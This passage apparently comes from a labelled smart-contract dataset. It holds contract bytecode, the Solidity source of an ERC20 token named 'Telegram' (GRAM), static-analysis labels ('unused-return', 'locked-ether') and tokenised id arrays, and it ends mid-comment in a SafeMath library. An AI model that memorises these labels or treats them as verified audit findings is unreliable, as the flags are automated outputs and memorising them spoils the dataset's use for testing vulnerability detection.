a816146aa565b92915050565b6000815190506130af816146aa565b92915050565b600082601f8301126130c657600080fd5b81356130d6848260208601612fe5565b91505092915050565b600082601f8301126130f057600080fd5b8135613100848260208601613023565b91505092915050565b600081359050613118816146c1565b92915050565b60006020828403121561313057600080fd5b600061313e84828501613061565b91505092915050565b6000806040838503121561315a57600080fd5b600061316885828601613061565b925050602061317985828601613061565b9150509250929050565b60008060006060848603121561319857600080fd5b60006131a686828701613061565b93505060206131b786828701613061565b92505060406131c886828701613109565b9150509250925092565b600080600080608085870312156131e857600080fd5b60006131f687828801613061565b945050602061320787828801613061565b935050604061321887828801613109565b925050606085013567ffffffffffffffff81111561323557600080fd5b613241878288016130b5565b91505092959194509250565b6000806040838503121561326057600080fd5b600061326e85828601613061565b925050602061327f85828601613076565b9150509250929050565b6000806040838503121561329c57600080fd5b60006132aa85828601613061565b92505060206132bb85828601613109565b9150509250929050565b6000602082840312156132d757600080fd5b60006132e58482850161308b565b91505092915050565b60006020828403121561330057600080fd5b600061330e848285016130a0565b91505092915050565b60006020828403121561332957600080fd5b600082013567ffffffffffffffff81111561334357600080fd5b61334f848285016130df565b91505092915050565b60006020828403121561336a57600080fd5b600061337884828501613109565b91505092915050565b600061338d8383613f8a565b60208301905092915050565b6133a2816145b3565b82525050565b60006133b38261453c565b6133bd818561456a565b93506133c883614517565b8060005b838110156133f95781516133e08882613381565b97506133eb8361455d565b9250506001810190506133cc565b5085935050505092915050565b61340f816145c5565b82525050565b600061342082614547565b61342a818561457b565b935061343a818560208601614636565b6134438161466b565b840191505092915050565b600061345982614547565b613463818561458c565b9350613473818560208601614636565b80840191505092915050565b600061348a82614552565b6134948185614597565b93506134a4818560208601614636565b6134ad8161466b565b840191505092915050565b60006134c382614552565b6134cd81856145a8565b93506134dd818560208601614636565b80840191505092915050565b600081546001811660008114613506576001811461352c57613570565b607f60028304166135178187614597565b955060ff198316865260208601935050613570565b6002820461353a8187614597565b955061354585614527565b60005b8281101561356757815481890152600182019150602081019050613548565b80880195505050505b505092915050565b6000613585602283614597565b91507f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006135eb603283614597565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000613651602683614597565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006136b7601c83614597565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b60006136f7601b83614597565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000613737602083614597565b91507f4e6f7420656e6f7567682072657365727665206c65667420666f72207465616d6000830152602082019050919050565b6000613777602483614597565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006137dd601983614597565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b600061381d601f83614597565b91507f45746865722076616c75652073656e74206973206e6f7420636f7272656374006000830152602082019050919050565b600061385d601e83614597565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b600061389d602683614597565b91507f416464726573733a20696e73756666696369656e742062616c616e636520666f60008301527f722063616c6c00000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613903602c83614597565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000613969602183614597565b91507f43616e206f6e6c79206d696e7420323020746f6b656e7320617420612074696d60008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006139cf603883614597565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000613a35602a83614597565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b6000613a9b602283614597565b91507f456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613b01602083614597565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b6000613b41602183614597565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613ba7602c83614597565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000613c0d602083614597565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613c4d602983614597565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000613cb3602f83614597565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b6000613d19602183614597565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613d7f603383614597565b91507f507572636861736520776f756c6420657863656564206d617820737570706c7960008301527f206f66204d6f75746820427265617468657273000000000000000000000000006020830152604082019050919050565b6000613de5602a83614597565b91507f53616c65206d7573742062652061637469766520746f206d696e74204d6f757460008301527f68204272656174686572000000000000000000000000000000000000000000006020830152604082019050919050565b6000613e4b601683614597565b91507f4c6963656e736520616c7265616479206c6f636b6564000000000000000000006000830152602082019050919050565b6000613e8b603183614597565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b6000613ef1601d83614597565b91507f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006000830152602082019050919050565b6000613f31602483614597565b91507f43484f4f53452041204d4f5554482042524541544845522057495448494e205260008301527f414e4745000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b613f938161461d565b82525050565b613fa28161461d565b82525050565b6000613fb4828461344e565b915081905092915050565b6000613fcb82856134b8565b9150613fd782846134b8565b91508190509392505050565b6000602082019050613ff86000830184613399565b92915050565b60006080820190506140136000830187613399565b6140206020830186613399565b61402d6040830185613f99565b818103606083015261403f8184613415565b905095945050505050565b6000602082019050818103600083015261406481846133a8565b905092915050565b60006020820190506140816000830184613406565b92915050565b600060208201905081810360008301526140a1818461347f565b905092915050565b600060208201905081810360008301526140c381846134e9565b905092915050565b600060208201905081810360008301526140e481613578565b9050919050565b60006020820190508181036000830152614104816135de565b9050919050565b6000602082019050818103600083015261412481613644565b9050919050565b60006020820190508181036000830152614144816136aa565b9050919050565b60006020820190508181036000830152614164816136ea565b9050919050565b600060208201905081810360008301526141848161372a565b9050919050565b600060208201905081810360008301526141a48161376a565b9050919050565b600060208201905081810360008301526141c4816137d0565b9050919050565b600060208201905081810360008301526141e481613810565b9050919050565b6000602082019050818103600083015261420481613850565b9050919050565b6000602082019050818103600083015261422481613890565b9050919050565b60006020820190508181036000830152614244816138f6565b9050919050565b600060208201905081810360008301526142648161395c565b9050919050565b60006020820190508181036000830152614284816139c2565b9050919050565b600060208201905081810360008301526142a481613a28565b9050919050565b600060208201905081810360008301526142c481613a8e565b9050919050565b600060208201905081810360008301526142e481613af4565b9050919050565b6000602082019050818103600083015261430481613b34565b9050919050565b6000602082019050818103600083015261432481613b9a565b9050919050565b6000602082019050818103600083015261434481613c00565b9050919050565b6000602082019050818103600083015261436481613c40565b9050919050565b6000602082019050818103600083015261438481613ca6565b9050919050565b600060208201905081810360008301526143a481613d0c565b9050919050565b600060208201905081810360008301526143c481613d72565b9050919050565b600060208201905081810360008301526143e481613dd8565b9050919050565b6000602082019050818103600083015261440481613e3e565b9050919050565b6000602082019050818103600083015261442481613e7e565b9050919050565b6000602082019050818103600083015261444481613ee4565b9050919050565b6000602082019050818103600083015261446481613f24565b9050919050565b60006020820190506144806000830184613f99565b92915050565b6000604051905081810181811067ffffffffffffffff821117156144ad576144ac614669565b5b8060405250919050565b600067ffffffffffffffff8211156144d2576144d1614669565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561450257614501614669565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006145be826145fd565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015614654578082015181840152602081019050614639565b83811115614663576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b614685816145b3565b811461469057600080fd5b50565b61469c816145c5565b81146146a757600080fd5b50565b6146b3816145d1565b81146146be57600080fd5b50565b6146ca8161461d565b81146146d557600080fd5b5056fe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656ea2646970667358221220919250bd1b1af0cb21219d7bc63d6b1ee10b7488ff71694f1379d28af2dc6fcc64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 18939, 7011, 2546, 2620, 2063, 2581, 2581, 27421, 2509, 2497, 2629, 2546, 2581, 2094, 11387, 2629, 2094, 2581, 2487, 2546, 16703, 2487, 15878, 5732, 24434, 16665, 2692, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 5757, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2175, 2000, 2240, 5124, 2000, 2156, 2073, 1996, 2677, 7200, 2869, 4627, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 1996, 10210, 6105, 1013, 1013, 9385, 1006, 1039, 1007, 2418, 1011, 10476, 1014, 2595, 17119, 2102, 1010, 1040, 1012, 1051, 1012, 1051, 1012, 16770, 1024, 1013, 1013, 1014, 2595, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,472
0x96dcc593d10c57010fb401d1491d46687f846adc
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Telegram' token contract // // Deployed to : 0x2d57365a7ab22425f09D49bB0baFB0426EB8dDF9 // Symbol : GRAM // Name : Telegram // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Telegram is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Telegram() public { symbol = "GRAM"; name = "Telegram "; decimals = 18; _totalSupply = 5000000000000000000000000000; balances[0x2d57365a7ab22425f09D49bB0baFB0426EB8dDF9] = _totalSupply; Transfer(address(0), 0x2d57365a7ab22425f09D49bB0baFB0426EB8dDF9, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd14610228578063313ce567146102a15780633eaaf86b146102d057806370a08231146102f957806379ba5097146103465780638da5cb5b1461035b57806395d89b41146103b0578063a293d1e81461043e578063a9059cbb1461047e578063b5931f7c146104d8578063cae9ca5114610518578063d05c78da146105b5578063d4ee1d90146105f5578063dc39d06d1461064a578063dd62ed3e146106a4578063e6cb901314610710578063f2fde38b14610750575b600080fd5b341561012257600080fd5b61012a610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610827565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610212610919565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610964565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610bf4565b604051808260ff1660ff16815260200191505060405180910390f35b34156102db57600080fd5b6102e3610c07565b6040518082815260200191505060405180910390f35b341561030457600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c0d565b6040518082815260200191505060405180910390f35b341561035157600080fd5b610359610c56565b005b341561036657600080fd5b61036e610df5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610e1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b6104686004808035906020019091908035906020019091905050610eb8565b6040518082815260200191505060405180910390f35b341561048957600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed4565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b610502600480803590602001909190803590602001909190505061105d565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611081565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105df60048080359060200190919080359060200190919050506112c7565b6040518082815260200191505060405180910390f35b341561060057600080fd5b6106086112f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065557600080fd5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061131e565b604051808215151515815260200191505060405180910390f35b34156106af57600080fd5b6106fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061145d565b6040518082815260200191505060405180910390f35b341561071b57600080fd5b61073a60048080359060200190919080359060200190919050506114e4565b6040518082815260200191505060405180910390f35b341561075b57600080fd5b610787600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611500565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006109af600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a78600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b41600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb05780601f10610e8557610100808354040283529160200191610eb0565b820191906000526020600020905b815481529060010190602001808311610e9357829003601f168201915b505050505081565b6000828211151515610ec957600080fd5b818303905092915050565b6000610f1f600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fab600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561106d57600080fd5b818381151561107857fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561125e578082015181840152602081019050611243565b50505050905090810190601f16801561128b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156112ac57600080fd5b5af115156112b957600080fd5b505050600190509392505050565b6000818302905060008314806112e757508183828115156112e457fe5b04145b15156112f257600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137b57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561143e57600080fd5b5af1151561144b57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156114fa57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561155b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820d0fc822825c54069d296f4fd39bedeb563d535ffd1cfbf3de0dfab6c8b110b430029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 16409, 2278, 28154, 29097, 10790, 2278, 28311, 24096, 2692, 26337, 12740, 2487, 2094, 16932, 2683, 2487, 2094, 21472, 2575, 2620, 2581, 2546, 2620, 21472, 4215, 2278, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 23921, 1005, 19204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,473
0x96dcd6531f17e0b2839e2808a03ca3ecc693e765
/** *Submitted for verification at Etherscan.io on 2021-02-28 */ /** *Submitted for verification at Etherscan.io on 2019-08-01 */ pragma solidity >=0.4.25 <0.6.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater 